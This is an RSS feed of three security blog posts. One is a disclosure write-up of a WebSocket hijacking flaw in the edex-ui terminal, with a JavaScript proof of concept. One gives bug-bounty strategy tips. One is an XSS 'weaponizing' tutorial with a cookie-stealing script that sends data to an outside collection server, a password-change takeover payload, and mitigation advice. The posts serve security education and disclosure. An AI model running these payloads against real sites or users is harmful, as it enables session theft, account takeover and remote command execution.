<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdelrhman Zayed on Medium]]></title>
        <description><![CDATA[Stories by Abdelrhman Zayed on Medium]]></description>
        <link>https://medium.com/@aufzayed?source=rss-eccdd17f7495------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*lwm6iBHWem6rCaBU</url>
            <title>Stories by Abdelrhman Zayed on Medium</title>
            <link>https://medium.com/@aufzayed?source=rss-eccdd17f7495------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 14:00:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aufzayed/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Browser to Shell: Hacking the Edex-UI Terminal]]></title>
            <link>https://medium.com/@aufzayed/from-browser-to-shell-hacking-the-edex-ui-terminal-7dfe757893fe?source=rss-eccdd17f7495------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dfe757893fe</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Abdelrhman Zayed]]></dc:creator>
            <pubDate>Sat, 09 Aug 2025 16:23:42 GMT</pubDate>
            <atom:updated>2025-08-09T16:23:42.450Z</atom:updated>
            <content:encoded><![CDATA[<h4>Introduction</h4><p>Back in 2023, a friend recommended a terminal called <strong>edex-ui</strong>. According to its official GitHub repository, edex-ui is:</p><blockquote>A cross-platform, customizable science-fiction terminal emulator with advanced monitoring and touchscreen support.</blockquote><p>The repository has more than <strong>42k stars</strong> and <strong>2.8k forks</strong> on GitHub. However, the project was <strong>archived on October 22, 2021</strong>.</p><p>A few days after recommending the terminal, my friend mentioned reading a post claiming that <em>edex-ui</em> was insecure. He couldn’t recall the details or find the post again. Based on that lead, I began searching for any known CVEs or vulnerabilities related to the terminal. Initially, I found nothing.</p><p>After further investigation of the GitHub repository and its source code, I discovered that the terminal was vulnerable to <strong>Cross-Site WebSocket Hijacking (CSWSH)</strong>. This vulnerability allows a malicious website to hijack your running terminal session and execute arbitrary commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5m3pLLIQOwl5qxV6dFpKw.png" /></figure><h4>Recon</h4><p>My first step was to search for any CVEs, exploits, or blog posts mentioning security issues in edex-ui. No results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-NVPn-v7iz02GSzDZuxG2Q.png" /></figure><p>My first step was to search for any CVEs, exploits, or blog posts mentioning security issues in edex-ui. No results.</p><p>Next, I explored the GitHub repository’s <strong>Issues</strong>, <strong>Discussions</strong>, and <strong>Security</strong> sections. Eventually, I found a discussion where a user asked the developer whether the terminal could be compromised by malicious websites through WebSockets. The developer’s reply was:</p><blockquote>In theory, yes, a malicious website could connect to edex’s internal WebSocket connection via client-side JavaScript and gain terminal access.<em><br> </em>In practice, however, the internal WebSocket server only accepts one connection, so the website has a very limited time to connect before edex’s own frontend does.</blockquote><p>As a hacker, this statement didn’t convince me. I decided to verify whether this claim was actually true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQ1LWcu1H-7IuOj1RkxdTg.png" /></figure><p>First, I identified the communication port by reviewing the source code — the default port was <strong>3000</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Hqs0K9yyT1v4rQk8on4tQ.png" /></figure><p>Next, I needed to determine the message format. Using <strong>Wireshark</strong> and filtering traffic on TCP port 3000, I found that the terminal simply sends and receives <strong>raw data</strong> — no special syntax or protocol framing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJ0WBoHGqUJ9cmlIK_y9DA.png" /></figure><h4>Exploitation</h4><p>With this information, I wrote a simple JavaScript proof-of-concept. When loaded in a browser, it connected to the WebSocket on port 3000 and sent commands directly to the terminal. After testing, it worked successfully.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;body&gt;<br>&lt;script&gt;<br>window.onload = function() {<br>    let ws = new WebSocket(&quot;ws://localhost:3000&quot;);<br><br>    ws.onopen = function() {<br>        console.log(&quot;Connected to ws://localhost:3000&quot;);<br>        ws.send(&quot;whoami\r\n&quot;);<br>    };<br><br>    ws.onmessage = function(event) {<br>        console.log(&quot;Received:&quot;, event.data);<br>    };<br><br>    ws.onerror = function(err) {<br>        console.error(&quot;WebSocket error:&quot;, err);<br>    };<br><br>    ws.onclose = function() {<br>        console.log(&quot;Connection closed&quot;);<br>    };<br>};<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>While preparing this write-up, I also used ChatGPT to create a more polished exploit for demonstration purposes. As shown in the following screenshots, it is indeed possible to execute arbitrary commands via our exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BvVnNOfeWmY4BK-_RXd9Gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yQIUqgbctrDpg3Fi2GJ78w.png" /></figure><h4>Conclusion</h4><p>After reporting the issue on GitHub, the developer responded by opening an official <strong>security advisory</strong> and requesting a CVE assignment. The vulnerability was assigned <strong>CVE-2023–30856</strong>. Unfortunately, since the project had been archived long before, no security patch was released.</p><p>If you’re using edex-ui, be aware that malicious websites could hijack your terminal. Consider switching to a secure alternative or isolating edex-ui from untrusted web content.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dfe757893fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond Recon: 4 Battle-Tested Bug Bounty Strategies]]></title>
            <link>https://medium.com/@aufzayed/beyond-recon-4-battle-tested-bug-bounty-strategies-bb24bb437b2c?source=rss-eccdd17f7495------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb24bb437b2c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abdelrhman Zayed]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 06:31:42 GMT</pubDate>
            <atom:updated>2025-08-03T06:31:42.159Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*TjiqZ22VRlR_rqYpC7NMzg.jpeg" /></figure><h4>Introduction</h4><p>Bug bounty can feel frustrating when you’re putting in time but not finding any bugs. If you’re wondering why, you’re not alone. This post breaks down real reasons and offers practical strategies to help you break through.</p><p>The reason is simple: you’re testing applications that have already been tested many times before, and they continue to be tested quarterly or with every new release.</p><p>It’s not as easy as clicking a few buttons and finding a bug. You need a deep understanding of various vulnerabilities and technologies, along with a solid methodology to uncover what most people miss.</p><p>There are several approaches you can follow. Each has its pros and cons, but focusing on one approach over the long term can help you grow significantly:</p><h4>Research-Based Approach</h4><p>Focus on discovering new vulnerabilities or reintroducing forgotten or overlooked ones. This approach helps you identify impactful and unique bugs. However, it requires strong research skills and a solid technical background.</p><h4>Automated Recon and Monitoring</h4><p>Use automation to track newly released features, leaked secrets, or sensitive data. This can give you a head start before others begin testing. However, it requires infrastructure to host and manage your tools effectively.</p><h4>Testing in Depth</h4><p>Choose a single application, understand it thoroughly, and start exploring its features for logic flaws and abuse scenarios.</p><h4>Testing in Breadth</h4><p>Gather every asset related to your target. This increases your chances of finding forgotten or shadow assets, which are often vulnerable due to lack of maintenance.</p><h4>Final thoughts</h4><p>Regardless of which technique you choose, success in bug hunting demands a combination of technical skill, time, and discipline.</p><p>Focusing only on recon without testing won’t get you far. Saving payloads, tools, and wordlists without understanding how they work won’t help you land a four-digit bounty.</p><p>Instead, focus on learning, practicing, and developing your own approach.</p><p>That’s how you master any skill not just bug hunting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb24bb437b2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnerabilities Weaponizing — Cross-site Scripting (XSS)]]></title>
            <link>https://medium.com/@aufzayed/vulnerabilities-weaponizing-cross-site-scripting-xss-608a4f45321c?source=rss-eccdd17f7495------2</link>
            <guid isPermaLink="false">https://medium.com/p/608a4f45321c</guid>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Abdelrhman Zayed]]></dc:creator>
            <pubDate>Tue, 05 Nov 2024 11:11:01 GMT</pubDate>
            <atom:updated>2024-11-05T11:11:01.726Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnerabilities Weaponizing — Cross-site Scripting (XSS)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7aZPHR_0jyAJZOlxl9ZAWw.png" /></figure><p><strong>TL;DR</strong></p><p>Weaponizing vulnerabilities involves creating exploits to take advantage of software flaws. For instance, XSS vulnerabilities can be leveraged for session hijacking, where an attacker steals session IDs or sends unauthorized requests. Tools like BeEF and SHVE help exploit these vulnerabilities. To mitigate XSS, adopt a whitelist approach for input validation, encode outputs based on context, implement a Content Security Policy (CSP), and use libraries like DOMPurify to allow only safe HTML tags. Properly securing applications against these threats is crucial for maintaining user safety.</p><p><strong>What is the Vulnerability Weaponizing?</strong></p><p>Weaponizing vulnerabilities refers to the process of crafting or developing exploits that take advantage of identified vulnerabilities in software or systems. The goal is to create an exploit that can be used to compromise or manipulate the targeted system.</p><p><strong>alert(1) Is not an Exploit:</strong></p><p>Imagine you are engaged in web penetration testing, and you come across a function, let’s say ‘search.’ Upon submitting an XSS payload such as “&lt;svg/onload=alert(1)&gt;,” you observe that the application reflects your input without proper sanitization. Consequently, the alert() function executes successfully, leading to the detection of the XSS vulnerability.</p><p>To capitalize on the XSS vulnerability, one must adopt the mindset of a real-world attacker. Consider how an attacker might leverage XSS, such as:</p><ul><li>Extracting user information</li><li>Stealing session IDs like cookies or tokens (session hijacking)</li><li>Initiating arbitrary requests on behalf of the user</li></ul><p>Numerous exploitation scenarios may come into play, contingent on the application’s functionalities. This article will delve into some of these scenarios.</p><p><strong>XSS Exploitation Scenarios</strong></p><p>Session Hijacking: Imagine you are testing an application and discover it is vulnerable to XSS. The primary exploitation scenario that should immediately come to mind is Session Hijacking. In this scenario, the initial step involves extracting the victim’s session ID, whether it be a cookie or token. Subsequently, this session ID is forwarded to our server, enabling us to utilize it to access the application.</p><p>The following script will extract the session cookies and encode them using the ‘getCookies’ function and then send them to our server.</p><pre>function getCookies(){<br>  return btoa(document.cookie)<br>}<br><br>window.onload = function () {<br>  var xhttp = new XMLHttpRequest();<br>  xhttp.open(&quot;POST&quot;, &quot;https://your-server.com/endpoint&quot;, true);<br>  xhttp.send(&quot;data=&quot; + getCookies());<br>}</pre><p>Example:</p><p>The following form is vulnerable to XSS. Injecting this payload will load the exploit code from our server. After any user visits the vulnerable page, the payload will be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*ZuV78OmKDslN-ClZ" /></figure><p>Here is the payload we discussed previously. After execution, it will send a base64-encoded cookie to ‘<a href="https://exfiltrate.free.beeceptor.com/">https://exfiltrate.free.beeceptor.com</a>.&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*UEp_jtTMR8_Djkt8" /></figure><p>As illustrated in the following screenshot, we received the data via a POST request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/0*Sk42V3y0rRtLKaaT" /></figure><p>after decoding it, it appears that the encoded data is the ‘session’ cookie</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bfCa5ixrCCt8vYma" /></figure><p>Sending Arbitrary Requests: Sometimes, you may not be able to steal the user’s session ID because the developer has implemented the ‘httpOnly’ flag, preventing JavaScript from accessing the cookie. In such cases, you will need to send requests on behalf of the users. For example, you can modify the user’s email, mobile number, or password, potentially leading to a full account takeover.</p><p><strong>Session hijacking vs Account Takeover</strong></p><p>When stealing cookies using XSS, you have now hijacked the session, granting you access to the account until the session expires. However, when you have the credentials, you now have full control over the account.</p><p>To send a request, you need to know the endpoint you want to interact with, the methods this endpoint accepts, and the parameters it accepts.</p><p>suppose the endpoint is ‘/change-password’ and the method is ‘POST’ and the MIME type is JSON</p><pre>POST /change-password HTTP/1.1<br>Host: example.com<br>User-Agent: browser<br>Cookie: auth=&lt;random&gt;<br>Content-Type: application/json<br><br>{&quot;password&quot;: &quot;p@ss1337&quot;}</pre><p>Your XSS payload will look like this. When the following function is executed, it will send a request to the ‘/change-password’ endpoint, and the victim’s password will be changed.</p><pre>window.onload = function () {<br>  var new_password = {<br>    password: &quot;p@ss1337&quot;<br>  }<br><br>  var xhttp = new XMLHttpRequest();<br>  xhttp.open(&quot;POST&quot;, &quot;https://example.com/change-password&quot;, true);<br>  xhttp.setRequestHeader(&quot;Contest-Type&quot;, &quot;application/json&quot;)<br>  xhttp.send(JSON.stringify(new_password));<br>}</pre><p>Example:</p><p>Look at the following request; it’s a ‘change-email’ endpoint that accepts POST requests with the content type ‘application/x-www-form-urlencoded.’ It requires two parameters: ‘email’ for the new email and ‘csrf’ for the CSRF token that protects the website from CSRF attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9d8F1GLZRLa9qtAu" /></figure><p>The following code will be executed after the window finishes loading. It will send the new email and the CSRF token to the ‘/change-email’ endpoint after extracting them from the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/0*yN_IQdtM9MtkPTYR" /></figure><p>As illustrated in the following screenshot, the email has been changed to ‘mail@hacker.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*6XdGXozofEXxf9Or" /></figure><p><strong>XSS Exploitation Tools</strong></p><p>1- Browser Exploitation Framework (<a href="https://beefproject.com/">BeEF</a>): an open-source penetration testing tool that focuses on exploiting web browsers. Developed in Ruby, BeEF is designed to assess the security of a target by using client-side attacks, particularly targeting the vulnerabilities and weaknesses present in web browsers.</p><p>2- Session Hijacking Visual Exploitation (<a href="https://blog.doyensec.com/2023/08/31/introducing-session-hijacking-visual-exploitation.html">SHVE</a>): an open-source tool that offers a novel way to hijack a victim’s browser sessions, utilizing them as a visual proxy after hooking via an XSS or a malicious webpage.</p><p><strong>How to Mitigate XSS?</strong></p><p>To effectively mitigate XSS risks, it is advisable to adopt a whitelist approach over blacklisting. Consider the following practices to enhance security:</p><ol><li><strong>Validate User Input:</strong> Before storing any user input, implement robust validation. For instance, if an input field is intended for integers, restrict input to only numeric values, rejecting or stripping any extraneous characters.</li><li><strong>URL Input Handling:</strong> When dealing with user input that involves URLs reflected in responses, opt for validating against a list of safe URL schemes (e.g., http and https) instead of relying on a blacklist to identify and block unsafe schemes like javascript and data.</li><li><strong>Context-Based Output Encoding:</strong> Encode output based on the specific context, whether it’s within JavaScript or HTML. This ensures that user-generated content doesn’t inadvertently trigger malicious scripts.</li><li><strong>Implement Content Security Policy (CSP):</strong> Utilize CSP to exert control over the origins from which the browser loads and executes resources. This significantly minimizes the potential impact of XSS vulnerabilities by restricting unauthorized resource loading.</li><li><strong>HTML Tag Allowance:</strong> In certain contexts, such as blogging websites or rich text editors, there may be a need to permit specific HTML tags. Employing libraries like DOMPurify enables selective allowance of designated tags while maintaining security.</li></ol><p>By incorporating these measures, developers can fortify their applications against XSS threats, fostering a more secure online environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=608a4f45321c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>